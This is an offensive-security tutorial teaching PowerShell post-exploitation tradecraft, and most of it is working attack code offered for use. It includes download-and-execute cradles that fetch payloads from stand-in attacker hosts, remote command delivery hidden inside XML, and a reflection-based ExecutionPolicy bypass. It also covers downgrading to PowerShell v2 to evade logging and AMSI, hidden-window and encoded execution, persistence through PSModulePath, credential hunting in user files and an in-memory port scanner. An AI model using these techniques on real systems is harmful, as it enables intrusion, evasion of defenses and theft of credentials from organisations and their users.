PowerShell for Offensive Operations: A Technical Primer
Introduction
PowerShell is not merely a scripting language for system administrators. It is one of the most versatile offensive tools available in a Windows environment. Since its integration into Windows 7 and Server 2008 R2, PowerShell has provided unprecedented access to nearly every facet of the operating system, including Active Directory environments. Its native presence means that, in most organizations, its execution is neither flagged as malicious nor closely monitored. This is precisely why we study it.
I have had people tell me that "PowerShell is just a fancy command prompt." That assessment could not be more wrong, and I will demonstrate why throughout this article. PowerShell is a fully-fledged .NET-based scripting environment with access to the Component Object Model (COM), Windows Management Instrumentation (WMI), and the entire .NET framework. It can download and execute scripts directly from memory, making it exceptionally stealthy. It can invoke Windows API calls and DLL functions directly. It can bypass file allowlist implementations by executing standard system commands through the CLI. And, critically, it reduces the likelihood of detection by defense mechanisms during post-exploitation.
In 2016, Microsoft open-sourced PowerShell and made it available across Linux distributions, macOS, and even Docker images. But our focus here is on the Windows environment, where PowerShell remains a native, trusted component.
What Is PowerShell, Really?
PowerShell is a command-line interpreter and task-oriented scripting environment built on the .NET framework. It provides access to COM and WMI, creating numerous possibilities for persistence and information gathering. Most of the time, we work with .ps1 scripts or invoke cmdlets directly.
A cmdlet (pronounced "command-let") is a predefined function following a Verb-Noun naming convention. You can create your own cmdlets and call them within a session. The major versions:
| Version | Release |
|---|---|
| v1.0 | November 2006 |
| v2.0 | October 2009 |
| v5.0 | February 2016 |
| v7.0 | March 2020 |
Starting with version 5.0, Microsoft implemented various protections including Logging and Constrained Language Mode. We will discuss evasion techniques in the next article. For now, understand that these protections exist and are not trivial to bypass.
The PowerShell CLI
Familiarize yourself with the Command Line Interface. It provides native access to cmdlets, modules, functions, and resources, while allowing interactive creation of tasks, functions, and variables.
First, verify the process architecture:
[Environment]::Is64BitProcess
Returns True for 64-bit, False for 32-bit. This matters because running the 32-bit PowerShell on a 64-bit system can bypass certain security controls and access different registry hives. Specifically, the Wow6432Node registry redirection, which often contains legacy configurations and weaker security settings.
If you type powershell inside an existing PowerShell terminal, you are just spawning another instance within that same terminal. And if you need the manual:
powershell /?
This displays the help—equivalent to man on Linux.
Features That Matter
PowerShell allows abbreviation of parameters and arguments, provided the abbreviation is unambiguous and unique. The parsing is case-insensitive:
powershell -executionpolicy bypass .\anyscript.ps1
powershell -ep bypass .\anyscript.ps1
powershell -ex bypass .\anyscript.ps1
All three are identical. More examples:
powershell.exe -ep Bypass
powershell.exe -ex by
powershell.exe -W h # WindowStyle Hidden
powershell.exe -Wi hi
powershell.exe -enco # EncodedCommand
powershell.exe -ec
The -WindowStyle Hidden flag is particularly valuable because it prevents the console window from appearing on the user's desktop, which reduces the chance of visual detection during interactive sessions. Combined with -NoProfile and -NonInteractive, you can achieve a silent execution context:
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File .\payload.ps1
TAB completion works for commands, parameters, filesystem paths, and registry keys. But the command must be spelled correctly to start:
Get-H<tab>
Get-Command: Your Reconnaissance Starting Point
Get-Command lists all available cmdlets, functions, applications, and aliases. You can filter by string, verb, or noun:
Get-Command
Get-Command get*
Get-Command set*
Get-Command *-acl*
Get-Command *Host
Get-Command *t-Ho*
Common verbs to know: Get-, Set-, New-, Invoke-, Find-, Read-.
The real power of Get-Command lies in its filtering capabilities. When you land on a target and need to understand what the system can do, you enumerate the attack surface:
Get-Command -CommandType Cmdlet | Measure-Object
Get-Command -Module Microsoft.PowerShell.Management
Get-Command -ParameterName ComputerName
That last one is particularly useful: it finds every cmdlet that accepts a -ComputerName parameter, which gives you a list of commands capable of remote execution. This is reconnaissance at the language level.
For example, to enumerate all cmdlets associated with "Process":
Get-Command -Noun Process
Output:
CommandType Name Version Source
----------- ---- ------- ------
Cmdlet Debug-Process 3.1.0.0 Microsoft.PowerShell.Management
Cmdlet Get-Process 3.1.0.0 Microsoft.PowerShell.Management
Cmdlet Start-Process 3.1.0.0 Microsoft.PowerShell.Management
Cmdlet Stop-Process 3.1.0.0 Microsoft.PowerShell.Management
Cmdlet Wait-Process 3.1.0.0 Microsoft.PowerShell.Management
Count them programmatically:
(Get-Command -Noun Process).Count
# 5
Or count all cmdlets with the verb "Set":
(Get-Command -Verb Set).Count
# 252
Yes, 252. And someone told me PowerShell was "limited." I will let that sink in.
Aliases: The Unix Bridge
Microsoft deliberately added aliases mimicking Unix/Linux commands, making PowerShell far more attractive to those of us coming from that world:
Get-ChildItem = ls, dir, gci
Copy-Item = cp, copy, cpi
Get-Content = cat, type, gc
Get-Help = man, help
Get-Process = ps, gps
Enumerate all aliases:
Get-Alias
Aliases are not merely convenience—they are operational security. A command line containing ls instead of Get-ChildItem may evade naive string-based detection rules that look for suspicious PowerShell cmdlets. This is a primitive form of obfuscation, but it works against poorly tuned signatures.
Get-Help: Documentation Is Your Friend
PowerShell is exceptionally well-documented. Get-Help is the equivalent of man:
Get-Help Get-Help
Get-Help Get-Help -Examples
Get-Help Get-Help -Online
Get-Help Get-Help -Detailed
Get-Help Get-Help -Full
You can also use -? on any cmdlet:
Get-Process -?
And when you need to inspect the methods and properties of an object:
Get-Member
Get-Process | Get-Member -MemberType Method
Get-Member is indispensable during live operations. When you pipe an object into it, you discover exactly what methods and properties are available—methods you can invoke directly for offensive purposes. For instance, discovering that a Process object has a Kill() method means you can terminate processes programmatically without relying on Stop-Process, which may be monitored.
The Pipeline: Where PowerShell Shines
The pipeline is not just text: it passes objects. This is fundamentally different from Unix pipes, and it is what makes PowerShell so powerful. Each cmdlet in the pipeline receives a fully-formed .NET object with properties and methods intact, rather than a stream of bytes that must be parsed.
ls | Format-List -Property FullName, Length
ls | Format-List -Property Name, ID, StartTime
ls | Format-List -Property *
Mathematical operations across arrays:
100, 200, 500 | % {$_ * 50}
Kill processes by name:
ps -name Chrome | % {Stop-Process $_}
Filter by property:
ps | Where-Object {$_.PriorityClass -eq "Normal"}
ps | ? -Property PriorityClass -eq -Value "Normal"
Get-Service | ? {$_.Status -eq "Running"}
Select specific properties:
Get-Service dhcp | Select ServiceName, CanPauseAndContinue, DisplayName
ps Explorer | Select-Object -Prop ProcessName -ExpandProp Modules | fl
The -ExpandProperty parameter deserves special attention. When you Select-Object -ExpandProperty Modules on a process, you are not just selecting a column—you are extracting the actual Modules collection and flattening it into the pipeline. This lets you enumerate every DLL loaded by a process, which is invaluable for identifying security products, injected libraries, or interesting attack surfaces:
Get-Process lsass | Select-Object -ExpandProperty Modules | Select-Object ModuleName, FileName
Sort and take the top memory consumers:
ps | Sort-Object -Property WS | Select-Object -Last 5
Deduplicate:
"a","b","c","d","a","d","e","e" | Select-Object -Unique
Skip lines in a file:
Get-Content archive.txt | Select-Object -Skip 1
Search for patterns:
Select-String -Path c:\users\user\Documents\*.txt -Pattern pass*
ls -r C:\users\user\Documents -File *.txt | %{ sls -Path $_ -Pattern pass* }
Select-String (alias sls) is the PowerShell equivalent of grep, but it returns MatchInfo objects with rich properties like LineNumber, Filename, and Matches. During post-exploitation, recursively searching for credentials in text files is a common objective, and this pipeline accomplishes it efficiently.
Modules: Reusability and Abstraction
A module is a set of related functionalities grouped into a file—typically .psm1—or a directory. Modules can contain scripts, binary modules, manifests, or dynamic modules created via New-Module. Their primary purpose is reuse and abstraction of repetitive tasks, following object-oriented principles.
Enumerate imported and available modules:
Get-Module
Get-Module -ListAvailable
Import a module:
Import-Module C:\users\user\Documents\script.psm1
Or use dot-sourcing, which loads all modules, functions, and cmdlets into the current session:
. C:\users\user\Documents\anyscript.ps1
The difference between Import-Module and dot-sourcing is subtle but important. Import-Module creates a new module scope—functions and variables defined in the module are isolated unless explicitly exported. Dot-sourcing executes the script in the current scope, meaning every function and variable becomes immediately available in your session. For offensive scripts that rely on shared state or need to modify the caller's environment, dot-sourcing is often the correct choice.
Inspect the module path environment variable:
$Env:PSModulePath
Any script placed in these paths is automatically loaded by PowerShell and can be executed natively. To persist a module, create a directory with the module name in one of these paths, place the module file inside, and import it. This is a persistence technique: by writing a malicious module into a trusted PSModulePath directory, you can ensure it loads automatically in future sessions without any explicit import command.
List commands from a specific module:
Get-Command -Module ModuleName
There are numerous offensive modules available out there. Feel free to try any of them for yourself.
New-Object: Creating .NET and COM Objects
An object is a class containing methods, properties, and attributes. PowerShell lets you instantiate .NET classes and COM objects (via ProgID), dramatically expanding your capabilities.
Consider System.Net.WebClient:
$webclient = New-Object System.Net.WebClient
$payload = "https://attacker.com/pl.exe"
$path = "C:\ProgramData\wmlc.exe"
$webclient.DownloadFile($payload, $path)
Breaking this down:
$webclient = New-Object System.Net.WebClient
Instantiates a WebClient object into a variable.
$payload = "https://attacker.com/pl.exe"
Stores the URL of the file to download.
$path = "C:\ProgramData\wmlc.exe"
Stores the destination path. C:\ProgramData is often writable by standard users and is frequently excluded from antivirus real-time scanning—a detail worth remembering.
$webclient.DownloadFile($payload, $path)
Executes the download.
This is Living off the Land—using native system resources to evade antivirus, EDR, and application allowlists. The LOLBAS Project is an excellent compendium of such binaries (certutil, bitsadmin, etc.).
But New-Object is not limited to WebClient. You can instantiate System.Diagnostics.Process to spawn processes with fine-grained control over window style and credentials:
$proc = New-Object System.Diagnostics.Process
$proc.StartInfo.FileName = "cmd.exe"
$proc.StartInfo.Arguments = "/c whoami"
$proc.StartInfo.WindowStyle = "Hidden"
$proc.StartInfo.CreateNoWindow = $true
$proc.Start()
This bypasses Start-Process entirely, which may be monitored by EDR solutions. The CreateNoWindow property, combined with WindowStyle Hidden, ensures the process runs silently. You can also set StartInfo.UserName and StartInfo.Password to execute as another user—provided you have the credentials—without ever invoking runas.exe.
Fileless Attacks
Fileless attacks require no disk writes, leave minimal traces, and evade antivirus and EDR detection. We work with reflection and memory.
There are two primary methods for downloading and executing code in PowerShell:
- Download the code (executable or script) to disk, then execute it.
- Download and execute directly in memory, within the PowerShell process itself, never touching disk. This is the fileless attack, and it is exceptionally difficult to forensically identify.
The second method is preferred whenever possible. Disk artifacts are the primary forensic evidence investigators rely upon. When nothing touches disk, incident responders must rely on memory forensics and network logs—both of which are far less commonly collected and analyzed in most organizations.
Invoke-Expression
Invoke-Expression (alias iex) evaluates and executes a string as a command:
Invoke-Expression -Command "command"
Yes, it is a command that executes another command. But more precisely, it evaluates a string passed by the user and executes it as a command. If you submit the same string in the terminal, it is merely echoed.
Invoke-Expression -Command (Get-Content .\anything.txt)
The -Command parameter accepts a string. This means you can build that string dynamically—concatenating fragments, decoding Base64, or pulling it from a remote source. And from there, iex will execute the result as though it were typed at the prompt. This is the foundation of nearly every PowerShell fileless technique.
Consider a practical example: reading a script from a remote URL and executing it without ever writing to disk:
$response = Invoke-WebRequest -Uri "https://attacker.com/task.ps1" -UseBasicParsing
Invoke-Expression $response.Content
Invoke-WebRequest returns an object whose Content property contains the raw response body as a string. Invoke-Expression then executes it. At no point does the script touch the filesystem.
Net.WebClient.DownloadString
This method downloads the requested resource as a string:
(New-Object Net.WebClient).DownloadString("http://host/file")
Combine the download method with the execution cmdlet:
iex (New-Object Net.WebClient).DownloadString("http://attacker/payload")
From cmd.exe, use single quotes instead of double:
powershell iex (New-Object Net.WebClient).DownloadString('http://attacker/payload')
Or with variables:
$downloader = New-Object System.Net.WebClient
$payload = "https://attacker.com/anyscript.ps1"
$command = $downloader.DownloadString($payload)
Invoke-Expression $command
This downloads and executes anyscript.ps1 directly in memory.
Why DownloadString rather than DownloadFile? Because DownloadString returns the content as a .NET String object in memory. DownloadFile writes to disk. The former is fileless; the latter is not. When you combine DownloadString with Invoke-Expression, the entire attack chain—from network request to code execution—occurs within the PowerShell process's memory space. No file is created, no registry key is modified, and no event log entry records the script's content.
System.Xml.XmlDocument
The System.Xml.XmlDocument class reads a file or text into an XML document object. You can execute commands provided by documents common in internet traffic. Combined with HTTPS requests, this is an excellent way to evade security mechanisms, because XML is a ubiquitous data format that rarely raises suspicion.
The technique works by structuring your payload as an XML document where specific nodes contain the commands to execute. Because the commands are buried inside an XML structure, simple string-matching detection rules—which look for patterns like Invoke-Expression or IEX at the start of a line—will not trigger. The XML parser extracts the content, and then you execute it explicitly.
First, create an XML file with the desired structure. Note that the node names are arbitrary—you can use any valid XML element names:
<?xml version="1.0"?>
<configuration>
<settings>
<task id="1">Set-ExecutionPolicy Bypass -Force -Scope Process</task>
<task id="2">$env:COMPUTERNAME; whoami /priv</task>
<task id="3">Get-ChildItem C:\Users -Directory | Select-Object Name</task>
</settings>
</configuration>
Then instantiate the class, load the document, and execute the nodes:
$xml = New-Object System.Xml.XmlDocument
$xml.Load("https://attacker.com/config.xml")
$xml.configuration.settings.task | ForEach-Object { Invoke-Expression $_.InnerText }
The InnerText property extracts the text content of each <task> element. Piping the collection into ForEach-Object and calling Invoke-Expression on each InnerText executes every command sequentially. This is more elegant than hardcoding node paths, and it scales—you can add as many <task> elements as you need.
An alternative approach uses XPath queries for more complex document structures:
$xml = New-Object System.Xml.XmlDocument
$xml.Load("https://attacker.com/config.xml")
$xml.SelectNodes("//task") | ForEach-Object { Invoke-Expression $_.'#text' }
SelectNodes with an XPath expression (//task selects all <task> elements at any depth) returns an XmlNodeList. Iterating over it and accessing the #text property yields the inner text. This is more robust when the XML structure is deep or variable.
The operational advantage here is significant. Network defenders inspecting HTTPS traffic see a request for an XML file—a completely normal occurrence in enterprise environments. The response is valid XML. Nothing about the network traffic screams "malicious." Only when the PowerShell process parses the XML and extracts the <task> contents does the payload reveal itself—and by then, execution has already occurred.
Bypassing ExecutionPolicy
ExecutionPolicy is not a security boundary—it is a safety feature designed to prevent accidental script execution, not to stop a determined attacker. Microsoft themselves have stated this repeatedly. Nevertheless, understanding the bypass techniques is essential.
The most straightforward approach:
powershell -ExecutionPolicy Bypass .\anyscript.ps1
Piping content into PowerShell bypasses the policy entirely because the input is treated as interactive commands, not a script file:
Echo 'Write-Host "Policy bypassed"; Get-Host;' | powershell -noprofile -
Get-Content .\anyscript.ps1 | powershell -noprofile -
Invoke-Command with a script block also bypasses file-based policy enforcement:
Invoke-Command -ScriptBlock {Write-Host "Policy bypassed"; Get-Host}
Setting the policy at process scope affects only the current session:
Set-ExecutionPolicy Bypass -Force -Scope Process
At user scope, it persists for the current user:
Set-ExecutionPolicy Bypass -Force -Scope CurrentUser
And the in-memory bypass via reflection, arguably the most elegant, as it requires no policy modification at all:
($bpexec = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue($executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($bpexec, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
This reflection technique accesses the internal _context field of the ExecutionContext object, retrieves the _authorizationManager field, and replaces it with a new AuthorizationManager instance that unconditionally permits execution. No registry key is modified, no policy is changed. The authorization check is simply subverted at runtime within the current process.
Encoded commands provide another layer of obfuscation. The -EncodedCommand parameter accepts a Base64-encoded UTF-16LE string:
$encCmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("Get-Host"))
powershell -EncodedCommand $encCmd
The encoding serves two purposes: it evades command-line logging that captures raw arguments, and it avoids quoting issues when passing complex commands through multiple layers of shells. Note that [System.Text.Encoding]::Unicode in .NET is UTF-16LE, which is what -EncodedCommand expects. Using UTF8 will produce a string that PowerShell cannot decode.
Version-specific execution can downgrade to PowerShell v2, which lacks many of the logging and security features introduced in later versions:
powershell -Version 2
$PSVersionTable
If PowerShell v2 is installed, and on many legacy systems it still is, downgrading to it disables script block logging, transcription, and AMSI integration. This is a devastatingly simple evasion technique that relies entirely on the target's failure to remove an obsolete component.
Practical Applications: Beyond the Basics
Let us move beyond isolated commands and examine how these primitives combine into operational techniques.
Process Discovery and Memory Analysis
The fourth process consuming the most working set memory:
Get-Process | Sort-Object WorkingSet -Descending | Select-Object -Index 3
Output:
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
2888 111 331272 239264 717,80 19000 1 chrome
Select-Object -Index 3 retrieves the fourth element (zero-indexed). This is useful for triage: identifying which processes are consuming the most memory often reveals browsers, productivity applications, or—in some cases—security tools that you may need to account for.
Network Reconnaissance with TcpClient
Here is a scenario I have run into more than once: you land on a Windows host during a red team engagement, and the environment is locked down tight. No Nmap. No netcat. No compiled binaries you can drop without tripping EDR. Maybe the host has restricted egress filtering, or maybe you simply cannot risk pulling tools from the internet. In a situation like that, you do not sit around waiting for a scanner to materialize. You will need scan by hand, using what the operating system already gives you. That is what separates a red teamer from someone who only knows how to run tools.
PowerShell ships with access to the entire .NET framework, and the .NET framework gives you System.Net.Sockets.TcpClient, a class designed for TCP connections. We can abuse it to build a functional port scanner entirely in memory, with no external dependencies and no disk artifacts. The only thing standing between you and network reconnaissance is a few lines of PowerShell.
Here is a basic port scanner using Net.Sockets.TcpClient:
$target = "127.0.0.1"
1..1024 | ForEach-Object {
$client = New-Object Net.Sockets.TcpClient
try {
$async = $client.BeginConnect($target, $_)
if ($async.AsyncWaitHandle.WaitOne(100, $false) -and $client.Connected) {
Write-Host "[+] Port $_ open" -ForegroundColor Green
}
} catch {
# Connection refused or timed out
} finally {
$client.Close()
}
}
This uses asynchronous connection attempts with a 100-millisecond timeout. BeginConnect initiates the connection without blocking, and AsyncWaitHandle.WaitOne waits for completion with a timeout. If the connection succeeds and Connected is True, the port is open. The finally block ensures the socket is closed regardless of outcome, preventing handle leaks during large scans.
For a more efficient approach using ConnectAsync:
$target = "127.0.0.1"
1..1024 | ForEach-Object {
$client = New-Object Net.Sockets.TcpClient
try {
if ($client.ConnectAsync($target, $_).Wait(100) -and $client.Connected) {
Write-Host "[+] Port $_ open" -ForegroundColor Green
}
} catch {} finally { $client.Close() }
}
ConnectAsync returns a Task object, and .Wait(100) blocks for up to 100 milliseconds. This is cleaner than the BeginConnect/AsyncWaitHandle pattern, but functionally equivalent. Both approaches avoid the default TCP timeout, which can be 20 seconds or more, something unacceptable when scanning 1024 ports.
Remote Script Execution
Downloading and executing a script from a remote source:
$url = "https://raw.githubusercontent.com/anyuser/repo/main/anyscript.ps1"
$wc = New-Object System.Net.WebClient
Invoke-Expression $wc.DownloadString($url)
Did it work? If not, check your execution policy, network restrictions, or whether the script requires parameters. If the target has AMSI enabled and the script contains known-malicious signatures, the download may succeed but execution will be blocked. This is where the evasion techniques in the next article become relevant.
Credential Hunting in Files
Recursively searching for password-like strings:
Get-ChildItem -Path C:\Users -Recurse -Include *.txt,*.xml,*.config,*.ini -ErrorAction SilentlyContinue |
Select-String -Pattern "password|passwd|pwd|secret|token" -ErrorAction SilentlyContinue |
Select-Object Path, LineNumber, Line
-ErrorAction SilentlyContinue suppresses access-denied errors that would otherwise flood the output when traversing directories the current user cannot read. Select-String returns MatchInfo objects with Path, LineNumber, and Line properties, giving you exact locations for further investigation. This is a foundational credential-hunting technique—simple, effective, and entirely native to PowerShell.
Conclusion
PowerShell is a formidable offensive tool. Its native presence, deep integration with .NET, COM, and WMI, and its ability to execute entirely in memory make it indispensable for post-exploitation. The techniques covered here, like pipeline manipulation, module importation, object instantiation, fileless download and execution, XML-based payload delivery, and execution policy bypass form the foundation of PowerShell tradecraft.
If someone ever tells you PowerShell is "just a command prompt," you now have 252 reasons to disagree.
In the next article, we will dive into evasion techniques using PowerShell,covering user-agent spoofing to blend with legitimate browser traffic, proxy-aware downloads that traverse corporate infrastructure without raising alarms, obfuscation with tools like Invoke-Obfuscation, and more. Stay tuned.
Next: Offensive PowerShell: Evasion Techniques.